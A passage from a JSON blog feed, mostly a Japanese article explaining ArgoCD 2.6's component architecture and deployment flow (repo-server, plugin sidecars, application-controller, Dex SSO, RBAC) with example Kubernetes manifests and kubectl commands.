Drive...","isoDate":"2023-05-06T02:11:55.000Z","dateMiliSeconds":1683339115000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"TailscaleをDockerで動かすと、再起動時に認証失敗 or IPアドレスが変わってしまう問題への対処","link":"https://blog.atusy.net/2023/05/05/tailscale-docker/","contentSnippet":"DockerでTailscaleを使ったVPNを構築してみました。公式の案内では以下の手順でauth keyを用いた起動ができます。docker run -d --name=tailscaled \\\\ -v /var/lib:/var/lib -v /dev/net/tun:/dev/net/tun \\\\ --network=host --cap-add=NET_ADMIN --cap-add=NET_RAW \\\\ --env TS_AUTHKEY={{ auth key }} \\\\ tailscale/tailscaleしかし、この方法は公式も記述している通り一時的な(ephemeral)用途向きです。","isoDate":"2023-05-05T00:00:00.000Z","dateMiliSeconds":1683244800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【ArgoCD\uD83D\uDC19】ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/05/02/145115","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️ArgoCDのアーキテクチャを構成するコンポーネントの種類についてArgoCDがマニフェストを自動デプロイする仕組みについてこの記事から得られる知識01. はじめに02. 概要アーキテクチャレイヤーコンポーネント仕組み(1) repo-serverによるクローン取得(2) application-controllerによるマニフェスト取得(3) application-controllerによるCluster確認(4) application-controllerによる処理結果保管(5) argocd-serverによるキャッシュ取得(6) 管理者のログイン(7) IDプロバイダーへの認証フェーズ委譲(8) dex-serverによる認証リクエスト送信(9) argocd-serverによる認可フェーズ実行(10) application-controllerによるマニフェストデプロイ03. repo-serverrepo-serverとは仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピー(2) repo-serverによる認証情報取得(3) repo-serverのよるクローン取得とポーリング(4) repo-serverによるサイドカーコール(5) repo-serverによる暗号化キーと暗号化変数の取得(6) サイドカーによるプラグイン処理の取得(7) サイドカーによるプラグイン処理の実行04. application-controller、redis-serverapplication-controllerとはredis-serverとは仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンド(2) application-controllerによるArgoCD系カスタムリソースのReconciliation(3) application-controllerによるマニフェスト取得(4) application-controllerによるヘルスチェック(5) application-controllerによるマニフェスト差分検出(6) application-controllerによる処理結果保管(7) application-controllerによるマニフェストデプロイ05. dex-serverdex-serverとは仕組み(1) プロダクト用Cluster管理者のログイン(2) IDプロバイダーへの認証フェーズ委譲(3) dex-serverによる認可リクエスト作成(4) dex-serverによる認可リクエスト送信(5) IDプロバイダーによる認証フェーズ実施(6) argocd-serverによる認可フェーズ実施06. argocd-server (argocd-apiserver)argocd-serverとは仕組み(1) application-controllerによるヘルスチェック(2) application-controllerによるマニフェスト差分検出(3) application-controllerによる処理結果保管(4) application-controllerによる処理結果取得(5) プロダクト用Cluster管理者のログイン(6) Ingressコントローラーによるルーティング(7) IDプロバイダーへの認証フェーズ委譲(8) IDプロバイダーによる認証フェーズ実施(9) argocd-serverによる認可フェーズ実施(10) application-controllerによるマニフェストデプロイ07. アーキテクチャのまとめ08. おわりに謝辞記事関連のおすすめ書籍01. はじめにロケットに乗るタコのツラが腹立つわー。画像引用元:Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19とAWS EKSをリプレイスしました。今回は、採用した設計プラクティスの紹介も兼ねて、ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組みを記事で解説しました。ArgoCDは、kubectlコマンドによるマニフェストのデプロイを自動化するツールです。ArgoCDのアーキテクチャには変遷があり、解説するのは執筆時点 (2023/05/02) で最新の 2.6 系のArgoCDです。アーキテクチャや仕組みはもちろん、個々のマニフェストの実装にもちょっとだけ言及します。それでは、もりもり布教していきます\uD83D\uDE1702. 概要アーキテクチャレイヤーまずは、ArgoCDのアーキテクチャのレイヤーがどのようになっているかを見ていきましょう。ArgoCD公式から、コンポーネント図が公開されています。図から、次のようなことがわかります\uD83D\uDC47下位レイヤー向きにしか依存方向がなく、例えばコアドメインとインフラのレイヤー間で依存性は逆転させていない。レイヤーの種類 (UI、アプリケーション、コアドメイン、インフラ) とそれらの依存方向から、レイヤードアーキテクチャのようなレイヤーに分けている。特にコアドメインレイヤーが独立したコンポーネントに分割されており、マイクロサービスアーキテクチャを採用している。argo-cd/docs/developer-guide/architecture/components.md at v2.8.0 \xb7 argoproj/argo-cd \xb7 GitHub▶ ArgoCDのマイクロサービスアーキテクチャの分割単位についてMonolith to Microservices: Evolutionary Patterns to Transform Your Monolith (English Edition)▶ ArgoCDのマイクロサービスアーキテクチャの設計図についてhttps://microsoft.github.io/code-with-engineering-playbook/design/diagram-types/DesignDiagramsTemplates/componentDiagrams/コンポーネント次に、コンポーネントの種類を紹介します。ArgoCDの各コンポーネントが組み合わさり、マニフェストの自動的なデプロイを実現します。ArgoCD (2.6系) のコンポーネントはいくつかあり、主要なコンポーネントの種類とレイヤーは以下の通りです\uD83D\uDC47 コンポーネント レイヤー 機能 argocd-server(argocd-apiserver) UI・アプリケーション みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能します。現在、複数のレイヤーの責務を持っており、将来的にUIとアプリケーションは異なるコンポーネントに分割されるかもしれません。 application-controller コアドメイン Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。 repo-server コアドメイン マニフェスト/チャートリポジトリからクローンを取得します。また、クローンからマニフェストを作成します。 redis-server インフラ application-controllerの処理結果のキャッシュを保管します。 dex-server インフラ SSOを採用する場合、argocd-serverの代わりに認可リクエストを作成し、またIDプロバイダーに送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。 GitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。仕組みそれでは、ArgoCDは、どのようにコンポーネントを組み合わせて、マニフェストをデプロイするのでしょうか。ここではプロダクト用Cluster管理者 (デプロイ先となるClusterを管理するエンジニア) は、ArgoCDのダッシュボードを介してマニフェストをデプロイするとしましょう。まずは、概要を説明していきます。(1) repo-serverによるクローン取得ArgoCDのCluster上で、repo-serverがマニフェスト/チャートリポジトリのクローンを取得します。(2) application-controllerによるマニフェスト取得application-controllerは、repo-serverからマニフェストを取得します。(3) application-controllerによるCluster確認application-controllerは、プロダクト用Clusterの現状を確認します。(4) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(5) argocd-serverによるキャッシュ取得argocd-serverは、redis-serverからキャッシュを取得します。(6) 管理者のログインプロダクト用Cluster管理者は、argocd-serverにログインしようとします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。▶ argocd-serverのログイン手法について(8) dex-serverによる認証リクエスト送信dex-serverは、IDプロバイダーに認可リクエストを作成し、これをIDプロバイダーに送信します。(9) argocd-serverによる認可フェーズ実行argocd-serverで認可フェーズを実施します。ログインが完了し、プロダクト用Cluster管理者は認可スコープに応じてダッシュボードを操作できます。▶ ArgoCDをどのClusterで管理するかについて(10) application-controllerによるマニフェストデプロイapplication-controllerは、Clusterにマニフェストをデプロイします。マニフェストのデプロイの仕組みをざっくり紹介しました。ただこれだと全く面白くないため、各コンポーネントの具体的な処理と、各々がどのように通信しているのかを説明します✌️03. repo-serverrepo-serverとはまずは、コアドメインレイヤーにあるrepo-serverです。マニフェスト/チャートリポジトリ (例:GiHub、GitHub Pages、Artifact Hub、AWS ECR、Artifact Registryなど) からクローンを取得します。repo-serverを持つPodには、他に軽量コンテナイメージからなるInitContainerとサイドカー (cmp-server) がおり、それぞれ機能が切り分けられています\uD83D\uDC4D仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピーrepo-serverの起動時に、InitContainerでお好きなマニフェスト管理ツール (Helm、Kustomizeなど) やプラグイン (helm-secrets、KSOPS、SOPS、argocd-vault-pluginなど) をインストールします。また、サイドカーのcmp-serverでは起動時に/var/run/argocd/argocd-cmp-serverコマンドを実行する必要があり、InitContainer (ここではcopyutilコンテナ) を使用して、ArgoCDのコンテナイメージからargocd-cliのバイナリファイルをコピーします。repo-serverのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、ArgoCDで使いたいツール (Helm、SOPS、helm-secrets) をInitContainerでインストールしています。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: argocdspec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest initContainers: # HelmをインストールするInitContainer - name: helm-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # SOPSをインストールするInitContainer - name: sops-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # helm-secretsをインストールするInitContainer - name: helm-secrets-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /helm-working-dir/plugins name: helm-working-dir ... # cmp-serverにargocd-cliのバイナリをコピーするInitContainer - name: copyutil image: quay.io/argoproj/argocd:latest command: - cp - -n - /usr/local/bin/argocd - /var/run/argocd/argocd-cmp-server volumeMounts: - name: var-files mountPath: /var/run/argocd # Podの共有ボリューム volumes: - name: custom-tools emptyDir: {} - name: var-files emptyDir: {}Custom Tooling - Argo CD - Declarative GitOps CD for Kubernetes▶ ArgoCDのコンテナイメージに組み込まれているツールについてquay.io/argoproj/argocd) には、いくつかのツール (例:Helm、Kustomize、Ks、Jsonnetなど) の推奨バージョンがあらかじめインストールされています。そのため、これらのツールのプラグイン (例:helm-secrets) を使用する場合、上記のコンテナイメージからなるrepo-server内のツールをcmp-serverにコピーすればよいのでは、と思った方がいるかもしれません。この方法は全く問題なく、cmp-serverの/usr/local/binディレクトリ配下にツールをコピーするように、InitContainerを定義してもよいです。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest volumeMounts: - mountPath: /usr/local/bin/helm # Podの共有ボリュームを介して、repo-serverでHelmを使用する。 name: custom-tools initContainers: - name: copy-helm image: quay.io/argoproj/argocd:latest # InitContainer上のHelmをVolumeにコピーする command: - /bin/cp - -n - /usr/local/bin/helm - /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools # 共有ボリューム volumes: - name: custom-tools emptyDir: {}反対に、これらツールをInitContainerでインストールし直す場合は、ArgoCD上での推奨バージョンをちゃんとインストールするようにしましょう\uD83D\uDC4D2.6系では、ArgoCDのリポジトリ内のtool-versions.shファイルに、Helmのバージョンが定義されています。spec: ... initContainers: - name: helm-installer image: alpine:latest command: - /bin/sh - -c # ArgoCDのリポジトリ上のtool-versions.shファイルから、Helmのバージョンを取得する args: - | apk --update add curl wget ARGOCD_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-helm/argo-cd-/charts/argo-cd/Chart.yaml | grep appVersion | sed -e \'s/^[^: ]*: //\') HELM_RECOMMENDED_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-cd/\\"${ARGOCD_VERSION}\\"/hack/tool-versions.sh | grep helm3_version | sed -e \'s/^[^=]*=//\') wget -q https://get.helm.sh/helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz tar -xvf helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz cp ./linux-amd64/helm /custom-tools/ chmod +x /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools ...argo-cd/hack/tool-versions.sh at v2.6.0 \xb7 argoproj/argo-cd \xb7 GitHub(2) repo-serverによる認証情報取得repo-serverは、Secret (argocd-repo-creds) からリポジトリの認証情報を取得します。argocd-repo-credsではリポジトリの認証情報のテンプレートを管理しています。指定した文字列から始まる (最長一致) URLを持つリポジトリに接続する場合、それらの接続で認証情報を一括して適用できます。argocd-repo-credsのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、リポジトリのSSH公開鍵認証を採用し、argocd-repo-credsに共通の秘密鍵を設定しています。apiVersion: v1kind: Secretmetadata: name: argocd-repo-creds-github namespace: argocd labels: argocd.argoproj.io/secret-type: repo-credstype: Opaquedata: type: git url: https://github.com/hiroki-hasegawa # 秘密鍵 sshPrivateKey: | MIIC2 ...あとは、各リポジトリのSecret (argocd-repo) にURLを設定しておきます。すると、先ほどのargocd-repo-credsのURLに最長一致するURLを持つSecretには、一括して秘密鍵が適用されます。# foo-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: argocd name: foo-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: bar-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/bar-chart.git---# baz-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: foo name: baz-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: baz-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/baz-chart.gitDeclarative Setup - Argo CD - Declarative GitOps CD for Kubernetes(3) repo-serverのよるクローン取得とポーリングrepo-serverは、認証情報を使用して、リポジトリにgit cloneコマンドを実行します。取得したクローンを、/tmp/_argocd-repoディレクトリ配下にUUIDの名前で保管します。また、リポジトリの変更をポーリングし、変更を検知した場合はgit fetchコマンドを実行します。# クローンが保管されていることを確認できる$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/_argocd-repo/\\"# リポジトリ内のファイルChart.yaml README.md templates values.yamlcustom repo-server - where is the local cache kept? \xb7 argoproj argo-cd \xb7 Discussion #9889 \xb7 GitHub▶ repo-serverでのクローン保管先のバージョン差異について2.3以前では、repo-serverは/tmpディレクトリ配下にURLに基づく名前でクローンを保管します。$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/https___github.com_hiroki-hasegawa_foo-repository\\"# リポジトリ内のファイルChart.yaml README.md templates values.yaml(4) repo-serverによるサイドカーコールrepo-serverは、自身にマウントされたいくつかのマニフェスト管理ツール (例:Helm、Kustomize) を実行する機能を持っています。しかし、実行できないツールではサイドカー (cmp-server) をコールします。この時、Applicationの.spec.source.pluginキーでプラグイン名を指定すると、そのApplicationではサイドカーをコールします。逆を言えば、プラグイン名を指定していないApplicationは、サイドカーをコールしない です。apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: foo-application namespace: foospec: source: plugin: name: helm-secrets # このプラグイン名は、ConfigManagementPluginのmetadata.nameキーに設定したもの ...このコールは、Volume上のUnixドメインソケットを経由します。Unixドメインソケットのエンドポイントの実体は.sockファイルです。$ kubectl exec -it argocd-repo-server -c foo-plugin-cmp-server\\\\ -- bash -c \\"ls /home/argocd/cmp-server/plugins/\\"foo-plugin.sock▶ UnixソケットドメインについてASCII.jp:Unixドメインソケット (1/2)(5) repo-serverによる暗号化キーと暗号化変数の取得cmp-serverは、暗号化キー (例:AWS KMS、Google CKMなど) を使用してSecretストア (例:AWS SecretManager、Google SecretManager、SOPS、Vaultなど) の暗号化変数を復号化します。▶ クラウドプロバイダーの暗号化キーを使用するために必要な証明書について/etc/sslディレクトリ (ディレクトリはOSによって異なる) に証明書が無く、cmp-serverがHTTPSプロトコルを使用できない可能性があります。その場合は、お好きな方法で証明書をインストールし、コンテナにマウントするようにしてください\uD83D\uDC4DapiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest ... # サイドカーのcmp-server - name: helm-secrets-cmp-server image: ubuntu:latest ... volumeMounts: # サイドカーがAWS KMSを使用する時にHTTPSリクエストを送信する必要があるため、証明書をマウントする - name: certificate mountPath: /etc/ssl ... initContainers: - name: certificate-installer image: ubuntu:latest command: - /bin/sh - -c args: - | apt-get update -y # ルート証明書をインストールする apt-get install -y ca-certificates # 証明書を更新する update-ca-certificates volumeMounts: - mountPath: /etc/ssl name: certificate volumes: - name: certificate emptyDir: {}(6) サイドカーによるプラグイン処理の取得cmp-serverは、マニフェスト管理ツールのプラグイン (helm-secrets、argocd-vault-pluginなど) を実行します。この時マニフェストの作成時のプラグインとして、ConfigMap配下のConfigManagementPluginでプラグインの処理を定義します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、プラグインとしてhelm-secretsを採用し、helm secrets templateコマンドの実行を定義します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmp-cm namespace: foodata: helm-secrets-plugin.yaml: | apiVersion: argoproj.io/v1alpha1 kind: ConfigManagementPlugin metadata: namespace: foo name: helm-secrets # このプラグイン名は、Applicationのspec.source.pluginキーで指定したもの spec: generate: command: - /bin/bash - -c args: - | set -o pipefail helm secrets template -f $ARGOCD_ENV_SECRETS -f $ARGOCD_ENV_VALUES -n $ARGOCD_APP_NAMESPACE $ARGOCD_APP_NAME . foo-plugin.yaml: | ...▶ ConfigManagementPluginのファイル名について(7) サイドカーによるプラグイン処理の実行cmp-serverはプラグインを実行し、Secretを含むマニフェストを作成します。ConfigMap配下のファイルをplugin.yamlの名前でサイドカーにマウントする必要があります。また、先ほどのUnixドメインソケットの.sockファイルや、 cmp-serverがプラグインを実行するための各バイナリファイルもマウントが必要です。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、helm-secretsプラグインを実行するサイドカー (helm-secrets-cmp-server) を作成します。apiVersion: v1kind: Podmetadata: name: argocd-repo-serverspec: containers: # repo-server - name: repo-server image: quay.io/argoproj/argocd:latest ... # helm-secretsのcmp-server - name: helm-secrets-cmp-server # コンテナイメージは軽量にする image: ubuntu:latest command: - /var/run/argocd/argocd-cmp-server env: # helmプラグインの場所を設定する - name: HELM_PLUGINS value: /helm-working-dir/plugins securityContext: runAsNonRoot: true runAsUser: 999 volumeMounts: # リポジトリのクローンをコンテナにマウントする - name: tmp mountPath: /tmp # ConfigManagementPluginのマニフェスト (helm-secrets.yaml) を \\"plugin.yaml\\" の名前でコンテナにマウントする - name: argocd-cmp-cm mountPath: /home/argocd/cmp-server/config/plugin.yaml subPath: helm-secrets.yaml # コンテナ間で通信するためのUnixドメインソケットファイルをコンテナにマウントする - name: plugins mountPath: /home/argocd/cmp-server/plugins # 任意のツールのバイナリファイルをコンテナにマウントする - name: custom-tools mountPath: /usr/local/bin # helmプラグインのバイナリをコンテナにマウントする - name: helm-working-dir mountPath: /helm-working-dir/plugins ... # Podの共有ボリューム volumes: # リポジトリのクローンを含む - name: tmp emptyDir: {} # Helmなどの任意のツールを含む - name: custom-tools emptyDir: {} # helmプラグインを含む - name: helm-working-dir emptyDir: {}▶ マウント時のConfigManagementPluginのファイル名についてv2.6では、ConfigManagementPluginのマニフェストを/home/argocd/cmp-server/configディレクトリに、plugin.yamlの名前でマウントしないといけません。これは、cmp-serverの起動コマンド (/var/run/argocd/argocd-cmp-server) がplugin.yamlの名前しか扱えないためです。ArgoCD公式の見解で、サイドカーでは単一のプラグインしか実行できないように設計しているとのコメントがありました。今後のアップグレードで改善される可能性がありますが、v2.6では、ConfigManagementPluginの数だけcmp-serverが必要になってしまいます\uD83D\uDE47\uD83C\uDFFB‍use multiple plugins in sidecar installation method \xb7 argoproj argo-cd \xb7 Discussion #12278 \xb7 GitHub▶ Kustomizeのプラグインをどのコンテナで実行するかについて▶ クラウドプロバイダーのSecretストアを採用する場合についてHow to manage Kubernetes secrets with GitOps? | Akuity04. application-controller、redis-serverapplication-controllerとはコアドメインレイヤーにあるapplication-controllerです。Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。redis-serverとはインフラレイヤーにあるredis-serverです。application-controllerの処理結果のキャッシュを保管します。仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンドArgoCD用Clusterの管理者は、ClusterにArgoCD系のカスタムリソース (例:Application、AppProjectなど) をデプロイします。▶ ArgoCD自体のデプロイにargo-helmを採用する場合についてGitHub - argoproj/argo-helm: ArgoProj Helm ChartsただしHelmの重要な仕様として、チャートの更新時に使用するhelm upgradeコマンドは、CRDを作成できる一方でこれを変更できません。HelmでCRDを作成するとHelmの管理ラベルが挿入されてしまうため、作成の時点からCRDがHelmの管理外となるように、kubectlコマンドでCRDを作成した方がよいです\uD83D\uDC4D$ kubectl diff -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"$ kubectl apply -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"ArgoCD上でHelmを使用してデプロイする場合はこの仕様を気にしなくてよいのかな、と思った方がいるかもしれないです。ですが本記事で解説した通り、ArgoCDはcmp-serverのhelm templateコマンド (この時、--include-crdsオプションが有効になっている) や、application-controllerのkubectl applyコマンドを組み合わせてマニフェストをデプロイしているため、CRDもちゃんと更新してくれます\uD83D\uDC4D\uD83C\uDFFB️Helm | Custom Resource Definitions(2) application-controllerによるArgoCD系カスタムリソースのReconciliationkube-controller-managerは、application-controllerを操作し、Reconciliationを実施します。application-controllerは、Etcd上に永続化されたマニフェストと同じ状態のArgoCD系カスタムリソースを作成/変更します。▶ カスタムコントローラーでもあるapplication-controllerについてHow Operators work in Kubernetes | Red Hat Developer(3) application-controllerによるマニフェスト取得application-controllerは、repo-serverからリポジトリのマニフェストを取得します。取得したマニフェストは、repo-serverのサイドカーであるcmp-serverが作成したものです。(4) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。application-controllerには、gitops-engineパッケージが内蔵されており、これはヘルスチェックからデプロイまでの基本的な処理を実行します。▶ gitops-engineパッケージについてv0.7.0 では以下のディレクトリからなります\uD83D\uDC47\uD83D\uDC31 gitops-engine/├── \uD83D\uDCC2 pkg│ ├── cache│ ├── diff # リポジトリとClusterの間のマニフェストの差分を検出する。ArgoCDのDiff機能に相当する。│ ├── engine # 他のパッケージを使い、GitOpsの一連の処理を実行する。│ ├── health # Clusterのステータスをチェックする。ArgoCDのヘルスチェック機能に相当する。│ ├── sync # Clusterにマニフェストをデプロイする。ArgoCDのSync機能に相当する。│ └── utils # 他のパッケージに汎用的な関数を提供する。│...gitops-engine/specs/design-top-down.md at v0.7.0 \xb7 argoproj/gitops-engine \xb7 GitHub(5) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、repo-serverから取得したマニフェストの差分を検出します。ここで、kubectl diffコマンドの実行が自動化されています。(6) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。redis-serverは、Applicationやリポジトリのコミットの単位で、application-controllerの処理結果を保管しています。$ kubectl exec -it argocd-redis-server \\\\ -n foo \\\\ -- sh -c \\"redis-cli --raw\\"127.0.0.1:6379> keys *...app|resources-tree||<キャッシュバージョン>cluster|info|<プロダクト用ClusterのURL>|<キャッシュバージョン>git-refs|<マニフェスト/チャートリポジトリのURL>|<キャッシュバージョン>mfst|app.kubernetes.io/instance||<最新のコミットハッシュ値>|<デプロイ先Namespace>|*****|<キャッシュバージョン>...(7) application-controllerによるマニフェストデプロイapplication-controllerは、Applicationの操作に応じて、Clusterにマニフェストをデプロイします。ここで、kubectl applyコマンドの実行が自動化されています。▶ application-controllerがマニフェストを操作した証拠についてmetadata.managedFieldsキーがあり、何がそのマニフェストを作成/変更したのかを確認できます。実際にマニフェストを確認してみると、確かにapplication-controllerがマニフェストを作成/変更してくれたことを確認できます。apiVersion: apps/v1kind: Deploymentmetadata: managedFields: # ArgoCDのapplication-controllerによる管理 - manager: argocd-application-controller apiVersion: apps/v1 # kube-apiserverに対するリクエスト内容 operation: Update time: \\"2022-01-01T16:00:00.000Z\\" # ArgoCDのapplication-controllerが管理するマニフェストのキー部分 fields: ...️Server-Side Apply | Kubernetes05. dex-serverdex-serverとはインフラレイヤーにあるdex-serverです。SSO (例:OAuth 2.0、SAML、OIDC) を採用する場合、argocd-serverの代わりに認可リクエストを作成し、またIDプロバイダー (例:GitHub、Keycloak、AWS Cognito、Google Authなど) に送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。GitHub - dexidp/dex: OpenID Connect (OIDC) identity and OAuth 2.0 provider with pluggable connectors▶ dex-serverの必要性について2.0、SAML) を使用する場合は、dex-serverを採用する必要があります\uD83D\uDC4D️Overview - Argo CD - Declarative GitOps CD for Kubernetes仕組み(1) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(2) IDプロバイダーへの認証フェーズ委譲argocd-serverは、認証フェーズをIDプロバイダーに委譲するために、dex-serverをコールします。▶ 認証フェーズの委譲についてAuthentication and Authorization - Argo CD - Declarative GitOps CD for Kubernetes(3) dex-serverによる認可リクエスト作成dex-serverは、認可リクエストを作成します。認可リクエストに必要な情報は、ConfigMap (argocd-cm) で設定しておく必要があります。argocd-cmのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、IDプロバイダーをGitHubとし、認可リクエストに必要なクライアントIDとクライアントシークレットを設定しています。apiVersion: v1kind: ConfigMapmetadata: namespace: foo name: argocd-cmdata: dex.config: | connectors: - type: github id: github name: GitHub SSO config: clientID: ***** clientSecret: ***** # dex-serverが認可レスポンスによるリダイレクトを受信するURLを設定する redirectURI: https://example.com/api/dex/callback▶ dex-serverの設定についてdex.configキー配下の設定方法は、dexのドキュメントをみるとよいです\uD83D\uDC4DAuthentication Through GitHub |(4) dex-serverによる認可リクエスト送信dex-serverは、前の手順で作成した認可リクエストをIDプロバイダーに送信します。(5) IDプロバイダーによる認証フェーズ実施IDプロバイダー側でSSOの認証フェーズを実施します。IDプロバイダーは、コールバックURL (/api/dex/callback) を指定して、認可レスポンスを送信します。認可レスポンスはリダイレクトを発生させ、argocd-serverを介して、再びdex-serverに届きます。この後、dex-serverはIDプロバイダーのトークンエンドポイントにリクエストを送信し、またIDプロバイダーからトークン (アクセストークン、IDトークンなど) やユーザー情報を取得します。ただ、SSOの種類によって仕組みが異なるため、詳細は省略します。▶ dex-serverのコールバックURLについてDeveloper settingsタブ でSSOを設定する必要があり、この時にAuthorization callback URLという設定箇所があるはずです\uD83D\uDC4D\uD83C\uDFFB(6) argocd-serverによる認可フェーズ実施argocd-serverは、AuthZで認可フェーズを実施します。ConfigMap (argocd-rbac-cm) を参照し、IDプロバイダーから取得したユーザーやグループに、ArgoCD系カスタムリソースに関する認可スコープを付与します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、developerロールにはdevというAppProjectに属するArgoCD系カスタムリソースにのみ、またmaintainerロールには全てのAppProjectの操作を許可しています。またこれらのロールを、IDプロバイダーで認証されたグループに紐づけています。特定のArgoCD系カスタムリソースのみへのアクセスを許可すれば、結果として特定のClusterへのデプロイのみを許可したことになります\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール policy.default: role:developer policy.csv: | p, role:developer, *, *, dev/*/*, allow p, role:maintainer, *, *, dev/*/*, allow p, role:maintainer, *, *, prd/*/*, allow g, developers, role:developer g, maintainers, role:maintainer scopes: \\"[groups]\\"▶ AppProjectの認可定義の記法についてCasbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetes06. argocd-server (argocd-apiserver)argocd-serverとは最後に、インフラレイヤーにあるargocd-serverです。『argocd-apiserver』とも呼ばれます。みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能し、他のコンポーネントと通信します\uD83E\uDD84仕組み(1) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。(2) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、ポーリング対象のリポジトリのマニフェストの差分を検出します。(3) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(4) application-controllerによる処理結果取得argocd-serverは、redis-serverから処理結果を取得します。(5) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(6) IngressコントローラーによるルーティングIngressコントローラーは、Ingressのルーティングルールを参照し、argocd-serverにルーティングします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。(8) IDプロバイダーによる認証フェーズ実施IDプロバイダー上で認証フェーズが完了します。argocd-serverは、ConfigMap (argocd-rbac-cm) を参照し、プロダクト用Cluster管理者に認可スコープを付与します。(9) argocd-serverによる認可フェーズ実施argocd-serverは、認可スコープに応じて、プロダクト用Cluster管理者がApplicationを操作可能にします。▶ NamespacedスコープモードについてapiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata: # 設定してはダメ # application.namespaces: \\"*\\" # 全てのNamespaceを許可する。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: dev-foo-project namespace: foospec: # 設定してはダメ # sourceNamespaces: # - \\"foo\\"これらにより、fooのNamespaceに属するArgoCDは、他のNamespaceにはアクセスできなくなります\uD83D\uDC4DInstallation - Argo CD - Declarative GitOps CD for Kubernetes(10) 